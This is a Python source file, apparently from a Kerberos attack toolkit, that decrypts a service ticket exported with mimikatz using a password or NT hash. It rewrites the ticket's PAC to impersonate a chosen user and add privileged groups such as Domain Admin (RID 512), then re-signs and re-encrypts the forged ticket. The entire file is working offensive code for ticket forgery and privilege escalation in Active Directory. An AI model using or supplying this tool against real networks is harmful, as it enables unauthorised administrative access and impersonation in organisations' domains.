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kerberoast.py
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kerberoast.py
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#!/usr/bin/env python3 -tt
import kerberos
from pyasn1.codec.ber import encoder, decoder
from pyasn1.type import univ, useful
import struct
import datetime
import re
import pac
def walk(t):
if type(t) == str:
print('String: %s' % t)
else:
print('Length: %i' % len(t))
for i in range(len(t)):
print('---%i---' % i)
print(t[i])
#Sequence().setComponentByPosition(0, BitString("'01000000101000010000000000000000'B")).setComponentByPosition(1, Sequence().setComponentByPosition(0, Integer(23)).setComponentByPosition(1, OctetString(hexValue='dfa121845d72f43271bbb33cd9e69443'))).setComponentByPosition(2, GeneralString('MEDIN.LOCAL')).setComponentByPosition(3, Sequence().setComponentByPosition(0, Integer(1)).setComponentByPosition(1, Sequence().setComponentByPosition(0, GeneralString('tm')))).setComponentByPosition(4, Sequence().setComponentByPosition(0, Integer(1)).setComponentByPosition(1, OctetString(''))).setComponentByPosition(5, GeneralizedTime('20140403172846Z')).setComponentByPosition(6, GeneralizedTime('20140403173119Z'))
def updatetimestampsserverticket(ticket, authtime=None, starttime=None, endtime=None, renewtiltime=None):
now = datetime.datetime.now()
# yes, this regex isn't perfect, but neither are you
if not authtime or not re.match(r'^20\d\d[0-1]\d[0-3]\d[0-2]\d[0-6]\d[0-6]\dZ$', authtime):
authtime = now.strftime('%Y%m%d%H%M%SZ')
if not starttime or not re.match(r'^20\d\d[0-1]\d[0-3]\d[0-2]\d[0-6]\d[0-6]\dZ$', starttime):
starttime = now.strftime('%Y%m%d%H%M%SZ')
if not endtime or not re.match(r'^20\d\d[0-1]\d[0-3]\d[0-2]\d[0-6]\d[0-6]\dZ$', endtime):
endtime = (now + datetime.timedelta(hours=10)).strftime('%Y%m%d%H%M%SZ')
if not renewtiltime or not re.match(r'^20\d\d[0-1]\d[0-3]\d[0-2]\d[0-6]\d[0-6]\dZ$', renewtiltime):
renewtiltime = (now + datetime.timedelta(hours=24)).strftime('%Y%m%d%H%M%SZ')
# Dear, pyasn1
# Why do I have to use a _ method to update a value. You expect me to write
# an entire spec, I don't want to. Because of this I HATE YOU. Please
# DIAF
# -Tim
# P.S. Suck it
ticket.getComponentByPosition(5)._value = str(useful.GeneralizedTime(authtime))
ticket.getComponentByPosition(6)._value = str(useful.GeneralizedTime(starttime))
ticket.getComponentByPosition(7)._value = str(useful.GeneralizedTime(endtime))
ticket.getComponentByPosition(8)._value = str(useful.GeneralizedTime(renewtiltime))
return ticket
def addgrouptopac(pac, grouprid):
version, numentries, pactype, pacsize, offset = struct.unpack('<IIIII', pac[:20])
pac_logon_info = pac[offset:offset+pacsize]
return pac
def updateusernameinencpart(key, rawticket, username, debug=False, verbose=False):
try:
ramticket, extra = decoder.decode(rawticket)
serverticket = ramticket.getComponentByPosition(2)
localticket = ramticket.getComponentByPosition(3)
encserverticket = serverticket.getComponentByPosition(0).getComponentByPosition(3).getComponentByPosition(2).asOctets()
except:
raise ValueError('Unable to decode ticket. Invalid file.')
if verbose: print('Ticket succesfully decoded')
decserverticketraw, nonce = kerberos.decrypt(key, 2, encserverticket)
a = decoder.decode(decserverticketraw)[0]
a[3][1][0]._value = username
e = encoder.encode(a)
newencserverticket = kerberos.encrypt(key, 2, e, nonce)
ramticket.getComponentByPosition(2).getComponentByPosition(0).getComponentByPosition(3).getComponentByPosition(2)._value = newencserverticket
return ramticket
def getpac(key, rawticket, debug=False, verbose=False):
# attempt decoding of ticket
try:
ramticket, extra = decoder.decode(rawticket)
serverticket = ramticket.getComponentByPosition(2)
localticket = ramticket.getComponentByPosition(3)
encserverticket = serverticket.getComponentByPosition(0).getComponentByPosition(3).getComponentByPosition(2).asOctets()
except:
raise ValueError('Unable to decode ticket. Invalid file.')
if verbose: print('Ticket succesfully decoded')
decserverticketraw, nonce = kerberos.decrypt(key, 2, encserverticket)
if decserverticketraw == None:
raise ValueError('Unable to decrypt ticket. Invalid key.')
elif verbose:
print('Decryption successful')
decserverticket, extra = decoder.decode(decserverticketraw)
# change the validity times in the server ticket
updatetimestampsserverticket(decserverticket, str(decserverticket[5]), str(decserverticket[6]), str(decserverticket[7]), str(decserverticket[8]))
adifrelevant, extra = decoder.decode(decserverticket[9][0][1])
pac = adifrelevant.getComponentByPosition(0).getComponentByPosition(1)
return bytearray(pac)
def updatepac(key, rawticket, pac, debug=False, verbose=False):
# attempt decoding of ticket
try:
ramticket, extra = decoder.decode(rawticket)
serverticket = ramticket.getComponentByPosition(2)
localticket = ramticket.getComponentByPosition(3)
encserverticket = serverticket.getComponentByPosition(0).getComponentByPosition(3).getComponentByPosition(2).asOctets()
except:
raise ValueError('Unable to decode ticket. Invalid file.')
if verbose: print('Ticket succesfully decoded')
decserverticketraw, nonce = kerberos.decrypt(key, 2, encserverticket)
if decserverticketraw == None:
raise ValueError('Unable to decrypt ticket. Invalid key.')
elif verbose:
print('Decryption successful')
decserverticket, extra = decoder.decode(decserverticketraw)
#for i in range(len(decserverticket[3])):
# print '---%i---' % i
# print decserverticket[3][i]
# change the validity times in the server ticket
updatetimestampsserverticket(decserverticket, str(decserverticket[5]), str(decserverticket[6]), str(decserverticket[7]), str(decserverticket[8]))
adifrelevant, extra = decoder.decode(decserverticket[9][0][1])
chksum = kerberos.chksum(key, b'\x11\x00\x00\x00', pac)
#print 'newchecksum: %s' % chksum.encode('hex')
# repair server checksum
newpac = pac[:-44] + chksum + pac[-28:]
# rebuild AD-IF-RELEVANT
#print adifrelevant
#print dir(adifrelevant.getComponentByPosition(0).getComponentByPosition(1))
adifrelevant.getComponentByPosition(0).getComponentByPosition(1)._value = newpac
#print adifrelevant
decserverticket.getComponentByPosition(9).getComponentByPosition(0).getComponentByPosition(1)._value = encoder.encode(adifrelevant)
# put the ticket back together again
newencserverticket = kerberos.encrypt(key, 2, encoder.encode(decserverticket), nonce)
ramticket.getComponentByPosition(2).getComponentByPosition(0).getComponentByPosition(3).getComponentByPosition(2)._value = newencserverticket
#print decserverticket
return encoder.encode(ramticket)
if __name__ == '__main__':
import argparse
parser = argparse.ArgumentParser(description='Read kerberos ticket then modify it')
parser.add_argument('-r', '--readfile', dest='infile', action='store', required=True,
metavar='INFILE.kirbi', type=argparse.FileType('rb'),
help='the file containing the kerberos ticket exported with mimikatz')
parser.add_argument('-w', '--outputfile', dest='outfile', action='store', required=True,
metavar='OUTFILE.kirbi', type=argparse.FileType('wb'),
help='the output file, wite hash for john the ripper to crack')
parser.add_argument('-p', '--password', dest='password', action='store', required=False,
metavar='P@ss0rd1', type=str,
help='the password used to decrypt/encrypt the ticket')
parser.add_argument('-t', '--nthash', dest='nthash', action='store', required=False,
metavar='64F12CDDAA88057E06A81B54E73B949B', type=str,
help='the hashed password used to decrypt/encrypt the ticket')
parser.add_argument('-g', '--group', dest='groups', action='append', required=False,
metavar='512', type=int,
help='group rid to add (512 is Domain Admin)')
parser.add_argument('-u', '--user', dest='userrid', action='store', required=False,
metavar='500', type=int,
help='user rid to impersonate')
parser.add_argument('-n', '--username', dest='username', action='store', required=False,
metavar='yomom', type=str,
help='user name to impersonate')
parser.add_argument('-v', '--verbose', dest='verbose', action='store_true', required=False,
default=False,
help='verbose')
parser.add_argument('-d', '--debug', dest='debug', action='store_true', required=False,
default=False,
help='show debug messages')
#parser.add_argument('-t', '--enctype', dest='enctype', action='store', required=False, default=2,
# metavar='2', type=int,
# help='message type, from RAM it is 2 (This should not need to be changed)')
args = parser.parse_args()
# make sure a password or hash is provided
if args.nthash == None and args.password != None:
key = kerberos.ntlmhash(args.password)
elif args.nthash != None:
key = args.nthash.decode('hex')
else:
print("You must provide either the password (-p) or the hash (-n)")
exit(1)
# read the ticket from the file
fullraw = args.infile.read()
args.infile.close()
# do the rewrite
#newticket = rewriteticket(key, fullraw, debug=args.debug, verbose=args.verbose)
pac_str = getpac(key, fullraw)
pacobj = pac.PAC(pac=pac_str)
# change user rid
if args.userrid:
pacobj.PacLoginInfo.UserRid = args.userrid
# append groups
if args.groups:
for g in args.groups:
if g not in pacobj.PacLoginInfo.Groups:
pacobj.PacLoginInfo.Groups.append(g)
if args.username:
pacobj.PacLoginInfo.AccountName = args.username.encode('utf-16le')
pacobj.PacLoginInfo.DisplayName = args.username.encode('utf-16le')
pac_str = pacobj.encode()
newticket = updatepac(key, fullraw, pac_str)
if args.username:
updateusernameinencpart(key, newticket, args.username)
args.outfile.write(newticket)
args.outfile.close()